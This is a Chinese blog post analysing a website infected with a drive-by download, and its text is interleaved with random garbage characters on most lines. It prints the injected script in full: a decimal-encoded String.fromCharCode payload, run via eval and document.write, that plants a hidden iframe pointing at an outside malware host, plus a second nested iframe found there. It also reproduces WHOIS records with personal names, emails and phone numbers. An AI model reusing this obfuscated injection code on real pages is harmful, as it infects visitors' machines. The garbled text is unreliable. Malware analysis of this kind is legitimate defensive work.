首发在我的博客里面，
~}SOd<n)| HMUn+kk+ http://www.areway.cn/?p=175 yM3]<~m YWf w%p?n" ([-xM%BI6 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
x?ajTzMv WSdT P$? <script>t=’60,105,102,114,97,109,101,
94 =aVM\>> 32,115,114,99,61,104,116,116,112,58,47,47,
t=`bXBX1 102,114,101,101,46,117,45,117,117,117,46,99,
DhQYjC[ 110,47,101,114,114,111,114,46,104,116,109,
jLULf+ 8& 32,119,105,100,116,104,61,49,48,48,32,104,
Ha~g8R& 101,105,103,104,116,61,48,62,60,47,105,102,
Ax#$z 114,97,109,101,62′;
pg}9baW? t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
:Fm{U0;" t"0Z=`Wi <script>t=’60,105,102,114,97,109,101,32,115,
);LkEXC_' 114,99,61,104,116,116,112,58,47,47,102,114,
6%mF iX 101,101,46,117,45,117,117,117,46,99,110,47,
{ r9fKA 101,114,114,111,114,46,104,116,109,32,119,
]-o0HY2 105,100,116,104,61,49,48,48,32,104,101,105,
o{EWNkmj 103,104,116,61,48,62,60,47,105,102,114,97,
E7eOKNVC# 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
=] R_6# document.write(t);</script>
S`LS/) LL~bq(b <html xmlns=”
wIW]uo/= http://www.w3.org/1999/xhtml e1e2Wk “>
l \= M'D <head>
D`;Q?f C <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
$<)k-Cf <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
)V!dmVQq{g <title>首页 - 爱生活家庭网
:y)'_p *l/
e]\{ Ia 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
5feCA ,v7 转换字符串后的大概内容是（谁点击后果自付）：
^Zh
YW <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
< r*A(}Y ^-3R+U- S 查询玉米u-uuu.cn的详细信息：
%N!2 _uk5 Domain Name: u-uuu.cn
^O
cM)Z6h ROID: 20070901s10001s64972306-cn
N?d4P u1m Domain Status: ok
sR`WV6!9 Registrant Organization: 王雷
?]S !-6: Registrant Name: 王雷
&H!#jh\w Administrative Email:
czlovexs@126.com K!q:A+ ] Sponsoring Registrar: 北京万网志成科技有限公司
gi;#?gps Name Server:ns.yovole.com
Te`Z
Qqb Name Server:ns1.yovole.com
M[ea!an Registration Date: 2007-09-01 17:54
I|=$.i Expiration Date: 2008-09-01 17:54
L 0{ehpvM 最后PING了一下地址 都没有什么….
z5CZ!"&v Ak!l}d 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
gt3;Xi <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
.7-Yu1{2 <script language=”javascript” src=”
fu/v1Nhm http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |Ew\T go/2 >
4'pg>;*. 这个玉米应该有可能是木马作者的：
n237 %LH[ foafau.info的详细信息：
GI}h )T Access to INFO WHOIS information is provided to assist persons in
DCfV determining the contents of a domain name registration record in the
Pg Z~of& Afilias registry database. The data in this record is provided by
v_*E:E Afilias Limited for informational purposes only, and Afilias does not
\*#9Ry^f guarantee its accuracy. This service is intended only for query-based
dA <PQKm access. You agree that you will use this data only for lawful purposes
%g B 0\C and that, under no circumstances will you use this data to: (a) allow,
4a;8XAl enable, or otherwise support the transmission by e-mail, telephone, or
9k_3=KS3N facsimile of mass unsolicited, commercial advertising or solicitations
?^ 9TtxM to entities other than the data recipient’s own existing customers; or
!* wK4UcX" (b) enable high volume, automated, electronic processes that send
'z\K0 queries or data to the systems of Registry Operator, a Registrar, or
T!o 4k Afilias except as reasonably necessary to register domain names or
O?omL5
modify existing registrations. All rights reserved. Afilias reserves
mqGp] '{ the right to modify these terms at any time. By submitting this query,
5fS89?/? you agree to abide by this policy.
iulM8"P
Domain ID:D22418703-LRMS
iq`y Domain Name:FOAFAU.INFO
Pg%OFhA Created On:20-Nov-2007 16:05:42 UTC
STp}?Cb Last Updated On:20-Nov-2007 16:05:44 UTC
vs|>U-Mpw~ Expiration Date:20-Nov-2008 16:05:42 UTC
\HF h?3-g Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
28M! G~| Status:CLIENT DELETE PROHIBITED
(
q^umw Status:CLIENT RENEW PROHIBITED
>lqWni Status:CLIENT TRANSFER PROHIBITED
RRy3N
)HR Status:CLIENT UPDATE PROHIBITED
z#b 31;A@$ Status:TRANSFER PROHIBITED
:0pxacD"! Registrant ID:GODA-040110615
6o &{~SV3 Registrant Name:liu hong
Q nikgV Registrant Organization:
`P9vZR; Registrant Street1:beijing
}' `2C$ Registrant Street2:
b
w5|gmO Registrant Street3:
Owalt4}C Registrant City:beijing
:NHh` @0F Registrant State/Province:
u79.`,Ad& Registrant Postal Code:100000
%(b`i C9 Registrant Country:CN
Kd
CPt! Registrant Phone:+86.860108888777
L's_lC Registrant Phone Ext.:
s]0x^"#B Registrant FAX:
0mL#8\'" Registrant FAX Ext.:
5nzk Zw Registrant Email:bbbshiji@163.com
"2(4?P Admin ID:GODA-240110615
{U4BPKof Admin Name:liu hong
%"@KuqV Admin Organization:
+r9:n(VP Admin Street1:beijing
pt GM' Admin Street2:
zLue j' Admin Street3:
@Y* ONnl Admin City:beijing
3+"z Admin State/Province:
3 .B|uN Admin Postal Code:100000
z= vfP% Admin Country:CN
d $g-u8 Admin Phone:+86.860108888777
3]0ET c T Admin Phone Ext.:
MT BN&4[ Admin FAX:
?G+ v#?A Admin FAX Ext.:
T>d-f=(9KH Admin Email:bbbshiji@163.com
u!mUUFl Billing ID:GODA-340110615
RUm1;MWs Billing Name:liu hong
I(ds]E
;_E Billing Organization:
C/ow{MxA Billing Street1:beijing
K~AQ) ]pJI Billing Street2:
U$6N-q Billing Street3:
a /X@5kr{ Billing City:beijing
Ra[{K@ Billing State/Province:
P-[6xu+] Billing Postal Code:100000
X'e@(I!0 Billing Country:CN
?%(8RQ Billing Phone:+86.860108888777
FSd842O Billing Phone Ext.:
%7pT\8E5 Billing FAX:
uG&xtN8 Billing FAX Ext.:
^rjICF e Billing Email:bbbshiji@163.com
&(-+?*A`E Tech ID:GODA-140110615
(}vi"mCeW Tech Name:liu hong
)nJs9}( 0 Tech Organization:
<i `Ipj Tech Street1:beijing
` *x;&.&v Tech Street2:
ZY +NKb_ Tech Street3:
`omZ'n) Tech City:beijing
^k]OQc7q' Tech State/Province:
0sto9n3 Tech Postal Code:100000
?SRG;G1 Tech Country:CN
D`,W 1Z# Tech Phone:+86.860108888777
xq- R5(k
Tech Phone Ext.:
]6Kx0mW Tech FAX:
A#RA;Dt : Tech FAX Ext.:
BV"7Wp; Tech Email:bbbshiji@163.com
;'NB6[x Name Server:NS27.DOMAINCONTROL.COM
*KN ' 0Z@W Name Server:NS28.DOMAINCONTROL.COM
rR&; 2 Name Server:
^C^FxIA& Name Server:
,1EyT> Name Server:
,IF3VE&r Name Server:
:^j`wd1
h Name Server:
5Jh= ${ Name Server:
f/&gR5 Name Server:
4UT % z}[! Name Server:
pZUckQ Name Server:
*,q ?mO Name Server:
u6Fm
qK]Dj Name Server:
oz wPtF5 !f[ LFQ D 接着下载每个文件里面的代码：
5P -7"g ca 一步一步看..
$!%/Kk4M 
yaza 
6^y*A!xY 
S#_g/3w 
_[u&}i 
0F> ils 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
